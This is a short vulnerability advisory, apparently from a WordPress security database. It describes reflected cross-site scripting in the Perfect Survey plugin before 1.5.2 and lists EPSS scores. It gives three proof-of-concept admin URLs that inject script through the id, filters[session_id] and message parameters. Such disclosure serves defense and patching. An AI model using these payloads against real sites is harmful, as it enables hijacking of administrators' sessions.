Perfect Survey < 1.5.2 - Reflected Cross-Site Scripting

2021-10-0500:00:00

apple502j

EPSS

0.001

Percentile

40.2%

JSON

The plugin does not sanitise and escape multiple parameters (id and filters[session_id] of single_statistics page, type and message of importexport page) before outputting them back in pages/attributes in the admin dashboard, leading to Reflected Cross-Site Scripting issues

https://example.com/wp-admin/edit.php?post_type=ps&page=single_statistic&id=1"+style%3danimation-name:rotation onanimationend%3dalert(/XSS/)//

https://example.com/wp-admin/edit.php?post_type=ps&page=single_statistic&id=765&filters[user_id]&filters[session_id]=<script>alert(/XSS/)</script>

https://example.com/wp-admin/edit.php?post_type=ps&page=importexport&message=<script>alert(/XSS/)</script>

EPSS

0.001

Percentile

40.2%

JSON

Related for WPEX-ID:C2F8E9B9-C044-4C45-8D17-E628E9CB5D59